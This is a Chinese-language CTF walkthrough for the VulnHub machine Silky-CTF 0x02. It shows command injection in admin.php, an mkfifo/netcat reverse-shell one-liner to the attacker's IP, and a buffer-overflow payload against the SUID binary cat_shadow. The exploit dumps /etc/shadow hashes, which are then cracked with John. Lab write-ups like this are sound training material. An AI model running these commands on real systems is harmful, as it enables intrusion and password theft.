当前位置: 首页 > web >正文

Silky-CTF: 0x02靶场

Silky-CTF: 0x02

来自 <Silky-CTF: 0x02 ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.131

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.131

4,访问80端口开放的http服务

dirsearch -u http://192.168.23.131/ -x 403,404

http://192.168.23.131/admin.php

对这个登录系统进行漏洞验证,发现username提交表单处存在命令执行漏洞

http://192.168.23.131/admin.php?username=id&password=1

然后再反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.23.128 4444 >/tmp/f

序号

命令片段

作用

技术原理

1

rm /tmp/f;

删除可能已存在的旧文件 /tmp/f

清理残留文件,避免命名冲突

2

mkfifo /tmp/f;

创建命名管道文件 /tmp/f

建立 FIFO(先进先出)管道,实现进程间通信

3

cat /tmp/f

读取管道文件的内容

将管道数据作为输入流

4

|

管道操作符

将前一命令的输出作为后一命令的输入

5

bash -i

启动交互式 Bash Shell

-i 参数开启交互模式,支持用户输入

6

2>&1

将标准错误输出重定向到标准输出

合并错误流和输出流,确保错误信息不丢失

7

| nc 192.168.23.128 4444

通过 netcat 连接到攻击机 192.168.23.128 的 4444 端口

建立 反向 TCP 连接(目标机主动连接攻击者)

8

> /tmp/f

将 netcat 接收的数据写入管道文件

完成 数据循环:攻击者输入 → 管道 → Bash 执行 → 结果回传 → 管道

成功getshell

5,查找SUID文件进行提权

find / -user root -perm -4000 -print 2>/dev/null

查看一下这个文件

cd /home/silky

stat cat_shadow

./cat_shadow 123456

存在缓冲区溢出漏洞,利用之

./cat_shadow $(python -c 'print "A"*64 + "\x62\x59\x6c\x49"')

查看到了/etc/shadow文件内容,此时可以对root、silky用户的密码进行爆破

stat 命令作用详解

stat 是 Linux/Unix 系统中用于显示文件或文件系统的详细状态信息的核心命令。

功能类别

具体作用

示例输出字段

文件基本信息

显示文件的名称

File

显示文件的大小(字节)

Size

显示文件占用的磁盘块数

Blocks

显示文件类型(普通文件、目录、符号链接等)

File type

文件标识信息

显示文件的设备号(设备ID)

Device

显示文件的 inode 号(索引节点号)

Inode

显示文件的硬链接数量

Links

权限与所有权

显示文件的权限(八进制和字符表示)

Access: (0644/-rw-r--r--)

显示文件的所有者用户 ID 和组 ID

UidGid

时间戳信息

显示最后访问时间(Access Time)

Access

显示最后修改时间(Modify Time)

Modify

显示最后状态更改时间(Change Time,如权限、所有权等改变)

Change

显示文件创建时间(Birth Time,部分系统支持)

Birth

文件系统信息

显示文件所在文件系统的块大小

IO Block

显示文件所在的设备(如果是特殊设备文件)

Device type

 

6,将加密内容写入文本

root:$6$L69RL59x$ONQl06MP37LfjyFBGlQ5TYtdDqEZEe0yIZIuTHASQG/dgH3Te0fJII/Wtdbu0PA3D/RTxJURc.Ses60j0GFyF/:18012:0:99999:7:::

silky:$6$F0T5vQMg$BKnwGPZ17UHvqZLOVFVCUh6CrsZ5Eu8BLT1/uX3h44wtEoDt9qA2dYL04CMUXHw2Km9H.tttNiyaCHwQQ..2T0:18012:0:99999:7:::

vim passwd

gunzip /usr/share/wordlists/rockyou.txt.gz

cp /usr/share/wordlists/rockyou.txt .        

john --wordlist=rockyou.txt passwd 

7,然后ssh登录192.168.23.131

python -c 'import pty;pty.spawn("/bin/bash")'

su

SHELL=/bin/bash script -q /dev/null

组件

作用

技术原理

SHELL=/bin/bash

设置环境变量 SHELL 值为 /bin/bash

指定后续命令使用的 Shell 解释器为 Bash

script

启动终端会话录制工具

捕获终端的所有输入输出并保存到文件

-q

安静模式 (quiet)

隐藏 script 自身的启动/结束提示信息(如 "Script started...")

/dev/null

指定输出文件为系统空设备

丢弃所有录制内容(不保存到磁盘)

http://www.xdnf.cn/news/10868.html

相关文章:

  • 信创时代下的信息化项目验收:企业如何应对国产化挑战?
  • 期货反向跟单运营逻辑推导思路
  • 持续领跑中国异地组网路由器市场,贝锐蒲公英再次登顶销量榜首
  • JSON to Excel 3.0.0 版本发布 - 从Excel插件到Web应用的转变
  • 数据驱动在线教育平台优化:用数据帮你变成“教书匠+数据控”
  • 口碑对比:杭州白塔岭画室和燕壹画室哪个好?
  • 汇编语言基础: 搭建实验环境
  • DMC-E 系列总线控制卡----雷赛板卡介绍(一)
  • 数据安全合规体系构建的“三道防线“
  • P1438 无聊的数列/P1253 扶苏的问题
  • 深度学习与特征交叉:揭秘FNN与SNN在点击率预测中的应用
  • 多线程编程的黄金三角模型
  • [yolov11改进系列]基于yolov11使用图像去雾网络UnfogNet替换backbone的python源码+训练源码
  • pytorch基本运算-导数和f-string
  • Easyui悬停组件
  • nav2笔记-250603
  • 国产高性能pSRAM选型指南:CSS6404LS-LI 64Mb QSPI伪静态存储器
  • 【网络安全 | 信息收集】灯塔(资产收集工具)安装教程
  • 【QT】`QTextCursor::insertText()`中插入彩色文本
  • Windows清理之后,资源管理器卡顿-解决方法
  • 【开源工具】Python+PyQt5打造智能桌面单词记忆工具:悬浮窗+热键切换+自定义词库
  • 【论文解读】FeINFN|Fourier-enhanced Implicit Neural Fusion Network for Multispectral
  • 黑马Java面试笔记之 消息中间件篇(Kafka)
  • Linux 软件安装方式全解(适用于 CentOS/RHEL 系统)
  • 【25.06】FISCOBCOS使用caliper自定义测试 通过webase 单机四节点 helloworld等进行测试
  • 多线程环境中,如果多个线程同时尝试向同一个TCP客户端发送数据,添加同步机制
  • 新版 Xcode 中 CoreData 模型编辑器显示拓扑图功能取消的替代方案
  • IBM DB2分布式数据库架构
  • 决策树指南:如何为您的数据选择合适的特征工程策略
  • 【卡点变速】节拍同步 讨论